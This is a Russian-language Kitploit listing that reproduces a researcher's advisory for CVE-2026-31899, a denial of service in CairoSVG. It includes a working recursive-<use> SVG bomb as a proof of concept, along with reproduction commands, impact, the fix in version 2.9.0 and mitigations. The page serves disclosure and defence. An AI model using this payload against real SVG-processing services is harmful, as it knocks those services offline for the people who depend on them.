Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31899 — CVE-2026-31899: Экспоненциальный DoS через амплификацию рекурсивного элемента <use> в CairoSVG (CVSS 7.5 Высокий) | Kitploit
Инструменты/GitHubGitHub/snailsploit/cve-2026-31899
Анализ уязвимостейЭксплуатацияВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: Экспоненциальный DoS через амплификацию рекурсивного элемента <use> в CairoSVG (CVSS 7.5 Высокий)

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31899: Экспоненциальный DoS через рекурсивную амплификацию элементов в CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Ключевые слова: CVE-2026-31899, CairoSVG, экспоненциальный DoS, SVG-бомба, рекурсивный элемент use, отказ в обслуживании, XML-амплификация, уязвимость Python SVG, CWE-400, неконтролируемое потребление ресурсов, SVG-«billion laughs»

Оглавление

  • Обзор
  • Детали уязвимости
  • Технический анализ
  • Доказательство концепции
  • Влияние
  • Устранение
  • Метрики CVSS
  • Ссылки
  • Контакты

Обзор

Экспоненциальный отказ в обслуживании CairoSVG (CVE-2026-31899) — SVG-нагрузка размером 1411 байт бессрочно удерживает ЦП на 100% за счёт рекурсивной амплификации элементов .

CairoSVG (~300 тыс. загрузок в неделю) — широко используемый Python-конвертер SVG в PNG/PDF. Функция use() в cairosvg/defs.py рекурсивно обрабатывает элементы без каких-либо ограничений по глубине или количеству. При 5 уровнях вложенности и 10 ссылках на каждом уровне небольшой SVG-файл вызывает 10^5 = 100 000 вызовов рендеринга — вариант «billion laughs» для SVG.

Обнаружил: Kai Aizen — SnailSploit Опубликовано: 13 марта 2026 Оценка CVSS: 7.5 (Высокая) CWE: CWE-400 — Неконтролируемое потребление ресурсов Пакет: CairoSVG (PyPI) Тип атаки: Экспоненциальный отказ в обслуживании Требуемые привилегии: Нет (без аутентификации)

Детали уязвимости

Описание

Функция use() в cairosvg/defs.py (строка ~335) рекурсивно разрешает элементы , ссылающиеся на другие элементы . Нет ограничения на глубину рекурсии и нет общего лимита на количество элементов. Злоумышленник может создать небольшой SVG, в котором каждый уровень ссылается на предыдущий N раз, что даёт O(N^depth) вызовов рендеринга из входных данных размером O(depth).

Ключевые характеристики

  • Коэффициент амплификации: O(10^N) вызовов рендеринга из O(N) строк входных данных
  • Профиль памяти: стабильные ~43 МБ — OOM-kill не срабатывает, процесс никогда не завершается сам
  • Профиль ЦП: одно ядро бессрочно загружено на 100%
  • Размер нагрузки: 1411 байт

Затронутые версии

  • Уязвимые: все версии < 2.9.0
  • Исправленные: версия 2.9.0 и выше

Технический анализ

Уязвимость существует по следующим причинам:

  1. Функция use() в defs.py обрабатывает каждый элемент , находя его цель по xlink:href
  2. Если цель сама является группой, содержащей элементы , они рекурсивно разворачиваются
  3. Не применяется ни счётчик глубины, ни лимит количества элементов
  4. Каждый уровень умножает объём работы на коэффициент ветвления (например, в 10 раз на уровень)

При 5 уровнях и коэффициенте ветвления 10:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

Итого: 111 111 вызовов рендеринга из входных данных размером 1411 байт.

Доказательство концепции

SVG-нагрузка (poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Воспроизведение

Способ 1 — командная строка:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

Способ 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Влияние

Любой сервис, который принимает SVG на входе и использует CairoSVG для обработки, уязвим:

Поверхность атакиПример
Генерация миниатюр

Один запрос с нагрузкой 1,4 КБ бессрочно заблокирует поток обработки, потребляя минимум памяти (OOM-kill вас не спасёт).

Устранение

Немедленное исправление

Обновите CairoSVG до версии 2.9.0 или выше:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

Эшелонированная защита

  • Установите тайм-ауты обработки на всех конечных точках конвертации SVG
  • Внедрите ограничения на размер загружаемых SVG-файлов
  • Рассмотрите возможность изоляции обработки SVG в отдельных воркерах с ограничениями по времени ЦП

Метрики CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Хронология

ДатаСобытие
2026-03-09CVE зарезервирован
2026-03-13Опубликован бюллетень (GHSA-f38f-5xpm-9r7c)
2026-03-13Выпущена CairoSVG 2.9.0 с исправлением

Ссылки

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG на PyPI
  • CWE-400: Неконтролируемое потребление ресурсов
  • Коммит с исправлением

Контакты

Kai Aizen (SnailSploit)

  • Веб-сайт: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и санкционированных исследований в области безопасности. Доказательство концепции предоставлено, чтобы помочь защитникам проверить свою подверженность уязвимости. Используйте ответственно.


📚 Документация и автор

Полное описание проекта, методология и связанные исследования доступны по адресу:

https://snailsploit.com/cves

Создано Kai Aizen — независимым исследователем в области наступательной безопасности.

snailsploit.com · Исследования · Фреймворки · GitHub · LinkedIn · ResearchGate · X/Twitter

Та же атака. Другая среда.

Скачать инструмент
Загрузка SVG → сервер конвертирует в PNG
Генерация PDFSVG, встроенный в документ → CairoSVG выполняет рендеринг
Обработка аватаров/изображенийЗагруженные пользователем SVG-изображения профиля
Рендеринг отчётовSVG-диаграммы в автоматизированных отчётах
CI/CD-конвейерыSVG-ресурсы, обрабатываемые во время сборки
МетрикаЗначение
Вектор атакиСетевой (AV:N)
Сложность атакиНизкая (AC:L)
Требуемые привилегииОтсутствуют (PR:N)
Взаимодействие с пользователемНе требуется (UI:N)
Область действияБез изменений (S:U)
КонфиденциальностьОтсутствует (C:N)
ЦелостностьОтсутствует (I:N)
ДоступностьВысокая (A:H)